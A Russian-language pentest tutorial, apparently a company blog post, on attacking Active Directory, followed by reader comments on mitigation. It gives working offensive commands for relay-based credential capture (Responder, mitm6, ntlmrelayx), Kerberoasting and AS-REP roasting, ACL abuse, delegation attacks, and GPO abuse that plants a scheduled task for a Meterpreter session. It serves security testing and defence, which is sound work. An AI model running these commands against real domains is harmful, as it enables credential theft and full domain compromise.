Атаки на домен


    При проведении тестирований на проникновение мы довольно часто выявляем ошибки в конфигурации домена. Хотя многим это не кажется критичным, в реальности же такие неточности могут стать причиной компрометации всего домена.

    К примеру, по итогам пентеста в одной компании мы пришли к выводу, что все доступные машины в домене были не ниже Windows10/Windows Server2016, и на них стояли все самые свежие патчи. Сеть регулярно сканировалась, машины хардились. Все пользователи сидели через токены и не знали свои «20-символьные пароли». Вроде все хорошо, но протокол IPv6 не был отключен. Схема захвата домена выглядела так:

    mitm6 -> ntlmrelay -> атака через делегирование -> получен хеш пароля локального администратора -> получен хеш пароля администратора домена.

    К сожалению, такие популярные сертификации, как OSCP, GPEN или CEH, не учат проведению тестирования на проникновение Active Directory.

    В этой статье мы рассмотрим несколько видов атак на Active Directory, которые мы проводили в рамках пентестов, а также используемые инструменты. Это ни в коем случае нельзя считать полным пособием по всем видам атак и инструментам, их действительно очень много, и это тяжело уместить в рамках одной статьи.

    Итак, для демонстрации используем ноутбук на Kali Linux 2019 и поднятые на нем виртуальные хосты на VMware. Представим, что главная цель пентеста — получить права администратора домена, а в качестве вводных данных у нас есть доступ в корпоративную сеть компании по ethernet. Чтобы начать тестировать домен, нам понадобится учетная запись.

    Получение учетной записи


    Рассмотрим два самых распространенных, по моему мнению, метода, позволяющих получить логин и пароль доменной учетной записи: LLMNR/NBNS-спуфинг и атаку на протокол IPv6.

    LLMNR/NBNS-спуфинг


    Про эту атаку было сказано довольно много. Суть в том, что клиент рассылает мультикастные LLMNR- и широковещательные NBT-NS-запросы для разрешения имен хостов, если сделать это по DNS не удалось. На такие запросы может ответить любой пользователь сети.

    Инструменты, которые позволяют провести атаку:

    • Responder
    • Inveight
    • Модули Metasploit: auxiliary/spoof/llmnr/llmnr_response, auxiliary/spoof/nbns/nbns_response,
      auxiliary/server/capture/smb, auxiliary/server/capture/http_ntlm

    При успешной атаке мы сможем получить NetNTLM-хеш пароля пользователя.

    Responder -I eth0 -wrf



    Полученный хеш мы можем сбрутить или выполнить NTLM-релей.

    Атака на протокол IPv6


    Если в корпоративной сети используется IPv6, мы можем ответить на запросы DHCPv6 и установить в качестве DNS-сервера на атакуемой машине свой IP-адрес. Так как IPv6 имеет приоритет над IPv4, DNS-запросы клиента будут отправлены на наш адрес. Подробнее об атаке можно прочитать тут.

    Инструменты:


    Запуск утилиты mitm6

    mitm6 -i vmnet0

    После выполнения атаки на атакуемой рабочей станции появится новый DNS-сервер с нашим IPv6-адресом.



    Атакуемые машины будут пытаться аутентифицироваться на нашей машине. Подняв SMB-сервер с помощью утилиты smbserver.py, мы сможем получить хеши паролей пользователей.

    smbserver.py -smb2support SMB /root/SMB



    Действия с захваченными хешами


    Следующим шагом мы можем либо выполнить криптографическую атаку на хеши паролей и получить пароль в открытом виде, либо выполнить NTLM relay.

    Перебор пароля


    Тут все просто: берем хеш пароля, hashcat

    hashcat -m 5600 -a 3 hash.txt /usr/share/wordlists/rockyou.txt

    и брутим. Пароль либо удастся получить, либо нет :)


    Пароль пользователя Harvey был восстановлен — Pbvf2019

    NTLM Relay


    Также мы можем выполнить NTLM-релей. Предварительно убедившись, что не используется SMB Signing, применяем утилиту ntlmrelayx.py и проводим атаку. Здесь опять же, в зависимости от цели, выбираем нужный нам вектор. Рассмотрим некоторые из них.


    Доступ к атакуемой машине по протоколу SMB


    Выполним атаку с ключом i.

    ntlmrelayx.py -t 192.168.1.5 -l loot -i



    При удачной атаке мы сможем подключиться к удаленной машине с помощью netcat.



    Cбор информации о домене


    В данном случае выполняем релей на контроллер домена.

    ntlmrelayx.py -t ldap://192.168.1.2

    При успешном проведении атаки получим подробную информацию о домене:



    Добавление нового компьютера в домен


    Каждый пользователь по умолчанию имеет возможность создать до 10 компьютеров в домене. Чтобы создать компьютер, нужно выполнить релей на контроллер домена по протоколу ldaps. Создание пользователей и компьютеров по незашифрованному соединению ldap запрещено. Также не удастся создать учетную запись, если будет перехвачено соединение по SMB.

    ntlmrelayx.py -t ldaps://192.168.1.2 --add-computer



    Как видно на рисунке, нам удалось создать компьютер RORYOTGS$.

    При создании более 10 компьютеров получим ошибку следующего вида:



    Используя учетные данные компьютера RORYOTGS$, мы можем выполнять легитимные запросы к контроллеру домена.

    Сбор информации о домене


    Итак, у нас есть учетная запись доменного пользователя либо компьютера. Для продолжения тестирования нам нужно собрать доступную информацию для дальнейшего планирования атак. Рассмотрим некоторые инструменты, которые помогут нам определиться с поиском наиболее критичных систем, спланировать и выполнить атаку.

    BloodHound


    Один из самых важных инструментов, который используется практически во всех внутренних тестированиях на проникновение. Проект активно развивается и дополняется новыми фичами.

    Информация, собираемая bloodhound
    • Group — Performs group membership collection
    • LocalAdmin — Performs local admin collection
    • RDP — Performs Remote Desktop Users collection
    • DCOM — Performs Distributed COM Users collection
    • GPOLocalGroup — Performs local admin collection using Group Policy Objects
    • Session — Performs session collection
    • ComputerOnly — Performs local admin, RDP, DCOM and session collection
    • LoggedOn — Performs privileged session collection (requires admin rights on target systems)
    • Trusts — Performs domain trust enumeration
    • ACL — Performs collection of ACLs
    • Container — Performs collection of Containers;
    • DcOnly — Performs collection using LDAP only. Includes Group, Trusts, ACL, ObjectProps, Container, and GPOLocalGroup
    • All — Performs all Collection Methods except GPOLocalGroup and LoggedOn
    • SearchForest — Search all the domains in the forest instead of just your current one
    • Domain — Search a particular domain. Uses your current domain if null (Default: null)
    • Stealth — Performs stealth collection methods. All stealth options are single threaded
    • SkipGCDeconfliction — Skip Global Catalog deconfliction during session enumeration. This can speed up enumeration, but will result in possible inaccuracies in data
    • ExcludeDc — Excludes domain controllers from enumeration (avoids Microsoft ATA flags)
    • ComputerFile — Specify a file to load computer names/IPs from
    • OU — Specify which OU to enumerate


    В качестве сборщиков информации выступают SharpHound.exe (требуется установленный .NET v3.5) и написанный на powershell скрипт SharpHound.ps1. Также есть сборщик, написанный сторонним разработчиком на Python, — Bloodhound-python.

    В качестве базы данных используется Neo4j, имеющая свой синтаксис, что позволяет выполнять кастомные запросы. Подробнее ознакомиться с синтаксисом можно тут.

    Из коробки доступны 12 запросов
    • Find all Domain Admins
    • Find Shortest Paths to Domain Admins
    • Find Principals with DCSync Rights
    • Users with Foreign Domain Group Membership
    • Groups with Foreign Domain Group Membership
    • Map Domain Trusts
    • Shortest Paths to Unconstrained Delegation Systems
    • Shortest Paths from Kerberoastable Users
    • Shortest Paths to Domain Admins from Kerberoastable Users
    • Shortest Path from Owned Principals
    • Shortest Paths to Domain Admins from Owned Principals
    • Shortest Paths to High Value Targets


    Также разработчики предоставляют скрипт DBCreator.py, который позволяет сгенерировать случайную базу для проведения тестов.



    Neo4j имеет REST API. Существуют различные утилиты, которые могут подключаться к базе и использовать полученные данные:


    Рассмотрим некоторые из них.

    CypherDog


    CypherDog — оболочка BloodHound, написанная на powershell. Включает в себя 27 командлетов.

    Список командлетов
    Cmdlet Synopsis
    Get-BloodHoundCmdlet BloodHound RTFM — Get Cmdlet
    Send-BloodHoundPost BloodHound POST — Cypher to REST API
    Get-BloodHoundNode BloodHound Node — Get Node
    Search-BloodHoundNode BloodHound Node — Search Node
    New-BloodHoundNode BloodHound Node — Create Node
    Set-BloodHoundNode BloodHound Node — Update Node
    Remove-BloodHoundNode BloodHound Node — Delete Node
    Get-BloodHoundNodeList BloodHound Node — Get List
    Get-BloodHoundNodeHighValue BloodHound Node — Get HighValue
    Get-BloodHoundNodeOwned BloodHound Node — Get Owned
    Get-BloodHoundNodeNote BloodHound Node — Get Note
    Set-BloodHoundNodeNote BloodHound Node — Set Notes
    Get-BloodHoundBlacklist BloodHound Node — Get Blacklist
    Set-BloodHoundBlacklist BloodHound Node — Set Blacklist
    Remove-BloodHoundBlacklist BloodHound Node — Remove Blacklist
    Get-BloodHoundEdge BloodHound Edge — Get Target
    Get-BloodHoundEdgeReverse BloodHound Edge — Get Source
    Get-BloodHoundEdgeCrossDomain BloodHound Edge — Get CrossDomain
    Get-BloodHoundEdgeCount BloodHound Edge — Get Count
    Get-BloodHoundEdgeInfo BloodHound Edge — Get Info
    New-BloodHoundEdge BloodHound Edge — Create Edge
    Remove-BloodHoundEdge BloodHound Edge — Delete Edge
    Get-BloodHoundPathShort BloodHound Path — Get Shortest
    Get-BloodHoundPathAny BloodHound Path — Get Any
    Get-BloodHoundPathCost BloodHound Path — Get Cost
    Get-BloodHoundPathCheap BloodHound Path — Get Cheapest
    Get-BloodHoundWald0IO BloodHound Path — Get Wald0 Index


    Примеры использования
    Команда Описание
    Search-BloodHoundNode -Type Computer -Property unconstraineddelegation -Value $true | select name, Serviceprincipalnames, unconstraineddelegation, operatingsystem | Format-List Поиск компьютеров с неограниченным делегированием Kerberos
    Edge user ADMINISTRATOR@JET.LAB MemberOf Group Вывести группы пользователя
    What Computer HasSession User ADMINISTRATOR@JET.LAB Вывести компьютеры, где есть сессия пользователя Administrator
    Path user Computer HARVEY@JET.LAB DC1.JET.LAB Вывести путь от пользователя до контроллера домена
    what user MemberOf Group 'DOMAIN ADMINS@JET.LAB' * | list logon Вывести активные сессии пользователей, которые состоят в группе DOMAIN Admins
    what user MemberOf Group 'DOMAIN ADMINS@JET.LAB' | list logon |? operat* -match 7 | list AdminTo | select name Вывести пользователей, имеющих права администратора на рабочих станциях под управлением Windows 7, на которых имеется сессия пользователей из группы администраторов домена


    По умолчанию для доступа к базе neo4j требуется аутентификация. Отключить аутентификацию можно, отредактировав файл neo4j.conf. В нем необходимо раскомментировать строку dbms.security.auth_enabled=false. Но так делать не рекомендуется, поскольку любой пользователь сможет подключиться к базе по адресу 127.0.0.1:7474 (конфигурация по умолчанию). Более подробно об аутентификации и авторизации в neo4j можно прочитать тут.

    GoFetch


    GoFetch использует граф, созданный в bloodhound для планирования и выполнения атаки.

    Пример графа в Bloodhound


    Логика работы GoFetch


    Запуск атаки

    .\Invoke-GoFetch.ps1 -PathToGraph .\pathFromBloodHound.json

    gt-generator


    gt-generator, используя данные BloodHound, упрощает создание golden-тикетов. Для получения golden-тикета необходимы только имя пользователя и хеш пароля пользователя KRBTGT.

    python gt-generator.py -s 127.0.0.1 -u user -p pass administrator <KRBTGT_HASH>



    PowerView


    PowerView — Powershell-фреймворк, входящий в состав PowerSploit. Ниже приведен список некоторых командлетов, которые помогут при сборе информации о домене.

    Список командлетов
    Get-NetDomain -Domain jet.lab Get the current domain
    Get-DomainSID Get the current domain SID
    Get-NetDomainController -Domain jet.lab Get domain controllers for a domain
    Get-NetUser -Domain jet.lab -UserName labuser Get users of a domain
    Get-NetGroup *group_name* Get all the groups in the current domain
    Get-NetGroupMember -GroupName «Domain Admins» Get all the members of the Domain Admins group
    Get-NetGroup -UserName «domain_user» Get the group membership for a user
    Get-NetComputer -FullData Get all computers of the domain
    Find-LocalAdminAccess -Verbose Find all machines on the current domain where the current user has local admin access
    Get-NetSession -ComputerName dc02.jet.lab List Sessions on a particular computer
    Invoke-UserHunter -CheckAccess Find computers where a domain admin is logged in and current user has access


    Adidnsdump


    При использовании интегрированного DNS в Active Directory любой пользователь домена может запросить все DNS-записи, установленные по умолчанию.

    Используемый инструмент: Adidnsdump.



    Атаки на домен


    Теперь, имея информацию о домене, мы переходим к следующей фазе тестирования на проникновение — непосредственно к атаке. Рассмотрим 4 потенциальных вектора:

    1. Roasting
    2. Атака через ACL
    3. Делегирование Kerberos
    4. Abusing GPO Permissions


    Roasting


    Этот вид атаки нацелен на протокол Kerberos. Можно выделить 2 вида атаки типа Roasting:

    • Kerberoast
    • Asreproast

    Kerberoast


    Впервые атака была продемонстрирована пользователем timmedin на DerbyCon в 2014 году (video). При успешном проведении атаки мы сможем перебрать пароль сервисной УЗ в офлайн-режиме, не боясь блокировки пользователя. Довольно часто у сервисных учетных записей бывают избыточные права и бессрочный пароль, что может позволить нам получить права администратора домена.
    Чтобы понять суть атаки, рассмотрим, как работает Kerberos.



    1. Пароль преобразуется в NTLM-хеш, временная метка шифруется хешем и отправляется на KDC в качестве аутентификатора в запросе TGT-тикета (AS-REQ). Контроллер домена (KDC) проверяет информацию пользователя и создает TGT-тикет.

    2. TGT-тикет шифруется, подписывается и отправляется пользователю (AS-REP). Только служба Kerberos (KRBTGT) может открыть и прочитать данные из TGT-тикета.

    3. Пользователь представляет TGT-тикет контроллеру домена при запросе TGS-тикета (TGS-REQ). Контроллер домена открывает TGT-тикет и проверяет контрольную сумму PAC.

    4. TGS-тикет шифруется NTLM-хешем пароля сервисной учетной записи и отправляется пользователю (TGS-REP).

    5. Пользователь предоставляет TGS-тикет компьютеру, на котором запущена служба (AP-REQ). Служба открывает TGS-тикет с помощью своего NTLM-хеша.

    6. Доступ к сервису предоставлен (AS-REP).

    Получив TGS-тикет (TGS-REP), мы можем подобрать пароль сервисной учетной записи в офлайн-режиме. Например, с помощью hashcat.

    Согласно RFC396, для протокола Kerberos зарезервировано 20 типов шифрования. Типы шифрования, которые используются сейчас, в порядке приоритета:

    • AES256_CTS_HMAC_SHA1
    • AES128_CTS_HMAC_SHA1
    • RC4_HMAC_MD5

    В последних версиях Windows по умолчанию используется шифрование AES. Но для совместимости с системами ниже Windows Vista и Windows 2008 server необходима поддержка алгоритма RC4. При проведении атаки всегда сначала производится попытка получения TGS-тикета с шифрованием RC4_HMAC_MD5, который позволяет быстрее перебирать пароли, а затем с остальными. Harmj0y провел интересное исследование и выяснил, что если в свойствах пользователя указать поддержку шифрования только Kerberos AES128 и AES256, Kerberos-тикет все равно выдается с шифрованием RC4_HMAC_MD5.



    Отключать RC4_HMAC_MD5 необходимо на уровне домена.

    Атака Kerberoasting имеет 2 подхода.

    1. Старый метод. TGS-тикеты запрашиваются через setspn.exe или .NET System.IdentityModel.Tokens.KerberosRequestorSecurityToken класса Powershell, извлекаются из памяти с помощью mimikatz, далее конвертируются в нужный формат (John, Hashcat) и перебираются.

    2. Новый метод. machosec заметил, что класс KerberosRequestorSecurityToken имеет метод GetRequest, который извлекает зашифрованную часть с паролем из TGS-тикета.

    Инструменты для проведения атаки:

    1) Поиск SPN-записей


    2) Запрос TGS-тикета

    • setspn.exe (штатная утилита Windows)
    • Запрос тикета через powershell

      Add-Type -AssemblyNAme System.IdentityModel
      New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList “<ServicePrincipalName>”
    • Request-SPNTicket

    Посмотреть текущие закешированные тикеты можно командой klist.

    Распространенные SPN-записи
    • TERMSRV — Удаленный рабочий стол
    • SmtpSVC и SMTP — Почта
    • WSMAN — WinRM
    • ExchangeAB, ExchangeRFR, ExchangeMDM — MS Exchange
    • POP/POP3 — Почтовая служба POP3
    • IMAP/IMAP4 — Почтовая служба IMAP
    • MSSQLSvc — Microsoft SQL сервер
    • MONGO — Сервер БД MongoDB
    • DNS — DNS-сервер
    • HTTP, WWW — Веб-сервер
    • LDAP — LDAP
    • FTP — FTP-сервер


    3) Экспорт тикетов:



    Пример автоматизированного выполнения всех 3-ех пунктов:

    • RiskySPN

      Find-PotentiallyCrackableAccounts -Sensitive -Stealth -GetSPNs | Get-TGSCipher -Format "Hashcat" | Out-File kerberoasting.txt
    • PowerSploit

      Invoke-Kerberoast -Domain jet.lab -OutputFormat Hashcat | fl 
    • GetUserSPNs.py

      GetUserSPNs.py -request jet.lab\user:Password

    Asreproast


    Уязвимость заключается в отключенной настройке предварительной аутентификации Kerberos. В этом случае мы можем отправить AS-REQ-запросы для пользователя, у которого отключена предварительная аутентификация Kerberos, и получить зашифрованную часть с паролем.



    Уязвимость встречается редко, так как отключение предварительной аутентификации — это не настройка по умолчанию.

    Поиск пользователей с отключенной предаутентификацией Kerberos:

    • PowerView

      Get-DomainUser -PreauthNotRequired -Properties samaccountname -Verbose
    • Модуль Active-Directory

      get-aduser -filter * -properties DoesNotRequirePreAuth | where {$_.DoesNotRequirePreAuth -eq "True" -and $_.Enabled -eq "True"} | select Name

    Получение зашифрованной части:



    Атака через ACL


    ACL в контексте домена — набор правил, которые определяют права доступа объектов в AD. ACL может быть настроен как для отдельного объекта (например, учетная запись пользователя), так и для организационной единицы, например OU. При настройке ACL на OU все объекты внутри OU будут наследовать ACL. В списках ACL содержатся записи управления доступом (ACE), которые определяют способ взаимодействия SID с объектом Aсtive Directory.

    К примеру, у нас есть три группы: А, Б, С, — где группа С является членом группы Б, а группа Б является членом группы А. При добавлении пользователя guest в группу С пользователь guest будет не только членом группы С, но и косвенным членом групп Б и А. При добавлении доступа к объекту домена группе А пользователь guest тоже будет иметь доступ к этому объекту. В ситуации, когда пользователь является прямым членом только одной группы, а эта группа является косвенным членом других 50 групп, легко потерять связь унаследованных разрешений.

    Получить ACL, связанные с объектом, можно, выполнив следующую команду

    Get-ObjectACL -Samaccountname Guest -ResolveGUIDs

    Для эксплуатации ошибок в конфигурировании ACL можно использовать инструмент
    Invoke-ACLPwn. Powershell-скрипт собирает информацию обо всех ACL в домене с помощью сборщика BloodHound — SharpHound и выстраивает цепочку для получения разрешения writeDACL. После того, как цепочка построена, скрипт выполняет эксплуатацию каждого шага из цепочки. Порядок действия скрипта:

    1. Пользователь добавляется в необходимые группы.
    2. Два ACE (Replicating Directory Changes и Replicating Directory Changes ALL) добавляются в ACL объекта домена.
    3. При наличии прав на DCSync с помощью утилиты Mimikatz запрашивается хеш пароля пользователя krbtgt (настройка по умолчанию).
    4. После завершения эксплуатации скрипт удаляет все добавленные группы и записи ACE в ACL.

    Скрипт нацелен только на использование права writeDACL. Также зломышленнику могут быть интересны следующие права доступа:

    • ForceChangePassword. Права на изменение пароля пользователя, когда текущий пароль не известен. Эксплуатация с помощью PowerSploit — Set-DomainUserPassword.
    • AddMembers. Права на добавление групп, компьютеров и пользователей в группы. Эксплуатация с помощью PowerSploit — Add-DomainGroupMember.
    • GenericWrite. Права на изменение атрибутов объекта. Например изменить значение параметра scriptPath. При следующем входе пользователя в систему запустится указанный файл. Эксплуатация с помощью PowerSploit — Set-DomainObject.
    • WriteOwner. Права на изменения владельца объекта. Эксплуатация с помощью PowerSploit — Set-DomainObjectOwner.
    • AllExtendedRights. Права на добавление пользователей в группы, смена паролей пользователя и др. Эксплуатация с помощью PowerSploit — Set-DomainUserPassword or Add-DomainGroupMember.

    Эксплуатация:


    Запуск с машины, которая находится в домене

    ./Invoke-ACL.ps1 -SharpHoundLocation .\sharphound.exe -mimiKatzLocation .\mimikatz.exe

    Запуск с машины, которая не находится в домене

    /Invoke-ACL.ps1 -SharpHoundLocation .\sharphound.exe -mimiKatzLocation .\mimikatz.exe -Username 'domain\user' -Domain ‘fqdn_of_target_domain’ -Password ‘Pass’

    • aclpwn.py — похожий инструмент, написанный на Python

    Делегирование Kerberos


    Делегирование полномочий Kerberos позволяет повторно использовать учетные данные конечного пользователя для доступа к ресурсам, размещенным на другом сервере.

    Делегирование Kerberos бывает трех видов:

    1. Неограниченное (Unconstrained delegation). Единственный вариант делегирования до Windows Server 2003
    2. Ограниченное (Сonstrained delegation), начиная с Windows Server 2003
    3. Ограниченное на основе ресурсов (Resource-Based Constrained Delegation). Появилось в Windows Server 2012

    Неограниченное делегирование


    В оснастке Active Directory включенная функция неограниченного делегирования выглядит следующим образом:



    Для наглядности рассмотрим, как происходит неограниченное делегирование на схеме.



    1. Пароль пользователя конвертируется в ntlm-хеш. Временная метка шифруется этим хешем и отправляется на контроллер домена для запроса TGT-тикета.
    2. Контроллер домена проверяет информацию о пользователе (ограничение входа в систему, членство в группах и т.д.), создает TGT-тикет и отправляет пользователю. TGT-тикет зашифрован, подписан, и его данные могут быть прочитаны только krbtgt.
    3. Пользователь запрашивает TGS-тикет для доступа на веб-сервис на веб-сервере.
    4. Контроллер домена предоставляет TGS-тикет.
    5. Пользователь отправляет TGT- и TGS-тикеты на веб-сервер.
    6. Сервисная учетная запись веб-сервера использует TGT-тикет пользователя для запроса TGS-тикета для доступа к серверу БД.
    7. Сервисная учетная запись подключается к серверу БД как пользователь.

    Главная опасность неограниченного делегирования в том, что при компрометации машины с неограниченным делегированием злоумышленник сможет получить TGT-тикеты пользователей из этой машины и доступ к любой системе в домене от имени этих пользователей.

    Поиск машин в домене с неограниченным делегированием:

    • PowerView

      Get-NetComputer -unconstrained
    • Active-Directory Module

      Get-Adcomputer -Filter {TrustedForDelegation -eq $True}
      .

    Экспорт тикетов:

    • С помощью mimikatz. sekurlsa::tickets /export
    • Также можно выполнить атаку Pass-The-ticket

       kerberos::ptt C:\tickets\.



    Ограниченное делегирование


    Режим ограниченного делегирования позволяет получить доступ только к разрешенным сервисам и на определенной машине. В оснастке Active Directory выглядит следующим образом:



    При ограниченном делегировании используются 2 расширения протокола Kerberos:

    • S4USelf
    • S4UProxy

    S4U2Self используется в случае, когда клиент аутентифицируется не по протоколу Kerberos.

    При неограниченном делегировании для идентификации пользователя используется TGT, в этом случае расширение S4U использует структуру PA-FOR-USER в качестве нового типа в поле данных «padata»/pre-authentication. Процесс S4U2self разрешается, только если запрашивающий пользователь имеет поле TRUSTED_TO_AUTH_FOR_DELEGATION, установленное в его userAccountControl.



    S4U2Proxy позволяет учетной записи службы использовать перенаправляемый тикет, полученный в процессе S4U2proxy, для запроса TGS-тикета для доступа к разрешенным сервисам (msds-allowtodelegateto). KDC проверяет, указан ли запрашиваемый сервис в поле msds-allowtodelegateto запрашивающего пользователя, и выдает билет, если проверка прошла успешно. Таким образом, делегирование «ограничено» конкретными целевыми сервисами.



    Поиск компьютеров и пользователей в домене с ограниченным делегированием можно выполнить с помощью PowerView.

    Поиск компьютеров с неограниченным делегированием

    Get-DomainComputer -TrustedtoAuth

    Поиск пользователей с ограниченным делегированием

    Get-DomainUser -TrustedtoAuth

    Для проведения атаки нам необходим пароль в открытом виде, NTLM-хеш пароля либо TGT-тикет.



    Ограниченное делегирование на основе ресурсов


    Как и в обычном делегировании, используются расширения S4U. Так как делегирование на основе ресурсов — это в первую очередь ограниченное делегирование, то и здесь доступны атаки, актуальные для обычного ограниченного делегирования. Отличие только в том, что в простом ограниченном делегировании сервис А должен иметь атрибут msDS-AllowedToDelegateTo=ServiceB, а тут сервис B должен иметь атрибут msDS-AllowedToActOnBehalfOfOtherIdentity=Service A.



    Это свойство позволяет провести еще одну атаку, опубликованную пользователем harmj0y. Для проведения атаки необходимы права на изменение параметра PrincipalsAllowedToDelegateToAccount, который задает атрибут msds-AllowedToActOnBehalfOfOtherIdentity, содержащий список управления доступом (ACL). В отличие от просто ограниченного делегирования, нам не нужны права администратора домена, чтобы изменить атрибут msds-AllowedToActOnBehalfOfOtherIdentity. Узнать, кто имеет права на редактирование атрибута, можно следующим образом:

    (Get-acl "AD:$((get-adcomputer Windows7).distinguishedname)").access | Where-Object -Property ActiveDirectoryRights -Match WriteProperty |out-gridview



    Итак, чтобы провести атаку, выполняем mitm6

    mitm6 -I vmnet0

    Запускаем ntlmrelayx с опцией --delegate-access

    ntlmrelayx -t ldaps://dc1.jet.lab --delegate-access

    В результате атаки создается компьютер ZGXTPVYX$ с правами на делегирование компьютера Windows7.

    $x = Get-ADComputer Windows7 -Properties msDS-AllowedToActOnBehalfOfOtherIdentity
    $x.'msDS-AllowedToActOnBehalfOfOtherIdentity'.Access
    



    Хороший доклад про делегирование был представлен на PHDays Егором Подмоковым.



    Abusing GPO Permissions


    Group Policy Objects — инструмент, позволяющий администраторам эффективно управлять доменом. Но бывает так, что пользователям назначаются излишние права, в том числе и на изменение политик GPO.

    Для демонстрации примера добавим пользователю Ragnar права на редактирование политики «Default Domain Controllers Policy» (в реальной жизни права для этой политики выдаются только администраторам домена, но суть атаки не меняется; в случае другой политики меняются лишь подконтрольные хосты).



    Выполним перечисление прав на всех GPOs в домене, используя PowerView.

    Get-NetGPO | % {Get-ObjectAcl -ResolveGUIDs -Name $_.Name}



    Пользователь Ragnar имеет права на изменение GPO, имеющее GUID — 6AC1786C-016F-11D2-945F-00C04FB984F9. Чтобы определить, к каким хостам в домене применяется данная политика, выполним следующую команду

    Get-NetOU -GUID "6AC1786C-016F-11D2-945F-00C04FB984F9" | % {Get-NetComputer -AdSpath $_}



    Получили хост dc1.jet.lab.

    Зная конкретную политику, которую может редактировать пользователь Ragnar, и хосты, к которым применяется эта политика, мы можем выполнить различные действия на хосте dc1.jet.lab.

    Ниже указаны возможности эксплуатации GPO
    Computer Configuration\Preferences\Control Panel Settings\Folder Options Create/alter file type associations, register DDE actions with those associations
    Computer Configuration\Preferences\Control Panel Settings\Local Users and Groups Add new local admin account
    Computer Configuration\Preferences\Control Panel Settings\Scheduled Tasks Deploy a new evil scheduled task (ie: PowerShell download cradle)
    Computer Configuration\Preferences\Control Panel Settings\Services Create and configure new evil services
    Computer Configuration\Preferences\Windows Settings\Files Affected computers will download a file from the domain controller
    Computer Configuration\Preferences\Windows Settings\INI Files Update existing INI files
    Computer Configuration\Preferences\Windows Settings\Registry Update specific registry keys. Very useful for disabling security mechanisms, or triggering code execution in any number of ways
    Computer Configuration\Preferences\Windows Settings\Shortcuts Deploy a new evil shortcut
    Computer Configuration\Policies\Software Settings\Software installation Deploy an evil MSI. The MSI must be available to the GP client via a network share
    Computer Configuration\Policies\Windows Settings\Scripts (startup/shutdown) Configure and deploy evil startup scripts. Can run scripts out of GPO directory, can also run PowerShell commands with arguments
    Computer Configuration\Policies\Windows Settings\Security Settings\Local Policies\Audit Policy Modify local audit settings. Useful for evading detection
    Computer Configuration\Policies\Windows Settings\Security Settings\Local Policies\User Rights Assignment\ Grant a user the right to logon via RDP, grant a user SeDebugPrivilege, grant a user the right to load device drivers, grant a user seTakeOwnershipPrivilege. Basically, take over the remote computer without ever being an administrator on it
    Computer Configuration\Policies\Windows Settings\Security Settings\Registry Alter DACLs on registry keys, grant yourself an extremely hard to find backdoor on the system
    Computer Configuration\Policies\Windows Settings\Security Settings\Windows Firewall Manage the Windows firewall. Open up ports if they’re blocked
    Computer Configuration\Preferences\Windows Settings\Environment Add UNC path for DLL side loading
    Computer Configuration\Preferences\Windows Settings\Files Copy a file from a remote UNC path


    Инструменты New-GPOImmediateTask и SharpGPOAbuse позволяют:

    • Выполнить задачу в планировщике задач
    • Добавить права пользователю (SeDebugPrivilege, SeTakeOwnershipPrivilege и др.)
    • Добавить скрипт, выполняющийся после автозагрузки
    • Добавить пользователя в локальную группу

    Для примера добавим задачу в планировщике задач для получения сессии Meterpreter:

    New-GPOImmediateTask -TaskName test3 -GPODisplayName "Default Domain Controllers Policy" -CommandArguments '<powershell_meterepreter_payload>' -Force

    После выполнения появляется запланированная задача test



    И появляется Meterpreter-сессия





    Чтобы удалить запланированную задачу, нужно выполнить следующую команду:

    New-GPOImmediateTask -Remove -Force -GPODisplayName SecurePolicy

    Выводы


    В статье мы рассмотрели лишь некоторые векторы атак. Такие виды, как Enumerate Accounts и Password spray, MS14-068, связка Printer Bug и Unconstrained Delegation, атаки на Exchange (Ruler, PrivExchange, ExchangeRelayX) могут значительно расширить область проведения атаки.

    Техники атак и методы закрепления (Golden ticket, Silver ticket, Pass-The-Hash, Over pass the hash, SID History, DC Shadow и др.) постоянно меняются, а команде защиты нужно всегда быть готовой к новым видам атак.
    Инфосистемы Джет
    158,17
    Системный интегратор
    Поделиться публикацией

    Комментарии 18

      +2
      Спасибо за хорошую статью. Не хватает только инструкций как отключить механизмы с использованием которых вы смогли получить права админа домена. Если тот же LLMNR достаточно просто отключается через GPO, то для IPv6 у МСа есть отельная КВшка как его правильно отключить.
        0
        а вас не затруднит привести урл этой KB-шки, пожалуйста?
          0
          Гляньте тут
            0
            Ответ уже дали, отмечу только, что как минимум надо понизить приоритет IPv6 по отношению к IPv4.
            +1

            Суть атаки вовсе не в LLMNR или IPv6, она в NTLM. Обрубить любые механизмы mitm в сети не факт что вообще возможно, и рубить надо корень, а не веточки отламывать.

              +1
              Безопасность должна быть комплексной, нужно и от MITM защитится и максимально уйти от NTLM и подписывать SMB-пакеты, все это нужно делать с оглядкой на последствия. Например, не будет у вас использоваться Kerberos-аутентификация если вы к шарам по IP подключаетесь (заметил, так любят делать сетевики). Подписывание SMB-пакетов может сделать недоступным для вас линуксовые шары (со старой версией самбы или отключенной подписью).
              Как итог, нужно везде укреплять безопасность, а вот как это сделать в статье мало сказано, ребята рассказали как они классно умеют ломать домены. Про защиту ждем новую статью.
                +1
                Безопасность должна быть комплексной

                :). Это безусловно верное, но слабо влияющее на конкретные практические меры утверждение, как и большинство общих фраз. Есть очевидные и давно известные "узкие" места, которые относительно легко закрываются/ограничиваются, и есть глобальные проблемы, общего решения для которых просто не существует. Просто исходя из соотношения затрат к результатам сначала надо закрывать первое, и только потом второе. Второе без первого просто не имеет смысла, совсем. Так вот NTLM (и RC4 в kerberos) — первое, MITM — второе.


                не будет у вас использоваться Kerberos-аутентификация если вы к шарам по IP подключаетесь (заметил, так любят делать сетевики).

                Старые вредные привычки — тоже одна из основных угроз безопасности, да.


                Подписывание SMB-пакетов может сделать недоступным для вас линуксовые шары (со старой версией самбы или отключенной подписью).

                Если админы/безопасники не хотят работать — конечно, может. Но о какой безопасности тогда идет речь вообще? Есть, конечно, ситуации, когда ограничение старых небезопасных практик объективно сложно, но в сабже-то обсуждается пример сети, где не "старые линуксовые шары", а гомогенная среда на ОС последнего поколения, да еще и потратились на воплощение некоторых современных практик. Хотя, откровенно говоря, описанная ситуация мне кажется какой-то искусственной — сделать вот это всё и тупо забыть про NTLM, когда любая гуглоссылка по вопросам безопасности в виндовых доменах будет буквально кричать об этом...

            +1
            Спасибо! Пошел проверять политики безопасности в домене :)
              +1

              Microsoft:
